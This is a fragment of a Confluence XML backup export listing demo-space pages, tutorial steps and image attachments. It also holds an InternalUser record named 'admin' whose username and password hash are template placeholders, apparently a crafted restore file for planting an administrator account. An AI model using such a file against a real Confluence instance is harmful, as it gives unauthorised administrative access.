<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262176</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.879</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="InternalUser" package="com.atlassian.crowd.model.user">
<id name="id">491521</id>
<property name="name"><![CDATA[NEW_USERNAME]]></property>
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
<property name="active">true</property>
<property name="createdDate">2023-11-09 06:04:18.716</property>
<property name="updatedDate">2023-11-09 06:04:18.716</property>
<property name="firstName"><![CDATA[]]></property>
<property name="lowerFirstName"><![CDATA[]]></property>
<property name="lastName"><![CDATA[admin]]></property>
<property name="lowerLastName"><![CDATA[admin]]></property>
<property name="displayName"><![CDATA[admin]]></property>
<property name="lowerDisplayName"><![CDATA[admin]]></property>
<property name="emailAddress"><![CDATA[admin@test.com]]></property>
<property name="lowerEmailAddress"><![CDATA[admin@test.com]]></property>
<property name="externalId"><![CDATA[d1c26bc5-04d3-4c31-b230-c9454e51186d]]></property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<component name="credential"><property name="credential" type="string"><![CDATA[NEW_PASSWORD_HASH]]></property>
</component>
<collection name="credentialRecords" class="java.util.List"><element class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user"><id name="id">524289</id>
</element>
</collection>
<collection name="attributes" class="java.util.Set"><element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557058</id>
</element>
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557060</id>
</element>
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557057</id>
</element>
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557059</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98330</id>
<property name="hibernateVersion">14</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262172</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.895</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98341</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[step05-04.png]]></property>
<property name="lowerTitle"><![CDATA[step05-04.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262254</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262255</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262256</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262260</id>
</element>
</collection>
<property name="version">3</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98329</id>
<property name="hibernateVersion">14</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262170</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.903</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98342</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[home.jpg]]></property>
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262204</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262223</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262230</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98328</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262187</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.909</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98339</id>
<property name="hibernateVersion">16</property>
<property name="title"><![CDATA[step-2-image-5.png]]></property>
<property name="lowerTitle"><![CDATA[step-2-image-5.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262209</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262212</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262213</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262243</id>
</element>
</collection>
<property name="version">2</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98327</id>
<property name="hibernateVersion">13</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262190</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.915</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98340</id>
<property name="hibernateVersion">19</property>
<property name="title"><![CDATA[step06-image03.png]]></property>
<property name="lowerTitle"><![CDATA[step06-image03.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262211</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262214</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262224</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262244</id>
</element>
</collection>
<property name="version">2</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98334</id>
<property name="hibernateVersion">14</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262169</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.921</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98345</id>
<property name="hibernateVersion">17</property>
<property name="title"><![CDATA[home.jpg]]></property>
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262226</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262229</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262242</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98333</id>
<property name="hibernateVersion">13</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262192</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.927</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98346</id>
<property name="hibernateVersion">19</property>
<property name="title"><![CDATA[Confluence-Origami-Necktie.jpeg]]></property>
<property name="lowerTitle"><![CDATA[confluence-origami-necktie.jpeg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262222</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262239</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262240</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98332</id>
<property name="hibernateVersion">71</property>
<property name="title"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163846</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196654</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196655</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196656</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196657</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196658</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262149</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262152</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:51.989</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98341</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98351</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98354</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">4</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98343</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[step09-01.png]]></property>
<property name="lowerTitle"><![CDATA[step09-01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262246</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262247</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262248</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262265</id>
</element>
</collection>
<property name="version">3</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98331</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262189</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.025</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98344</id>
<property name="hibernateVersion">17</property>
<property name="title"><![CDATA[Step8-01.png]]></property>
<property name="lowerTitle"><![CDATA[step8-01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262227</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262228</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262258</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262259</id>
</element>
</collection>
<property name="version">2</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98336</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262188</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.030</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98335</id>
<property name="hibernateVersion">12</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262195</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.033</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98337</id>
<property name="hibernateVersion">17</property>
<property name="title"><![CDATA[prev.jpg]]></property>
<property name="lowerTitle"><![CDATA[prev.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262236</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262249</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262250</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98338</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[welcome.png]]></property>
<property name="lowerTitle"><![CDATA[welcome.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262235</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262238</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262262</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98314</id>
<property name="hibernateVersion">37</property>
<property name="title"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="lowerTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163844</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196609</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196610</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196611</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196612</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196613</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196644</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262150</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262167</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262185</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.044</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">6</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user">
<id name="id">524289</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="passwordHash"><![CDATA[NEW_PASSWORD_HASH]]></property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98313</id>
<property name="hibernateVersion">13</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262191</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.049</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98312</id>
<property name="hibernateVersion">14</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262193</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.053</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98311</id>
<property name="hibernateVersion">16</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262177</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.056</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98318</id>
<property name="hibernateVersion">42</property>
<property name="title"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163850</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196627</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196629</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196631</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196632</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262160</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262162</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.061</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98342</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98346</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98350</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98352</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">3</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98317</id>
<property name="hibernateVersion">28</property>
<property name="title"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163841</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196616</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196639</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196642</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196643</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262154</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.065</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98337</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98345</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98347</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98349</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
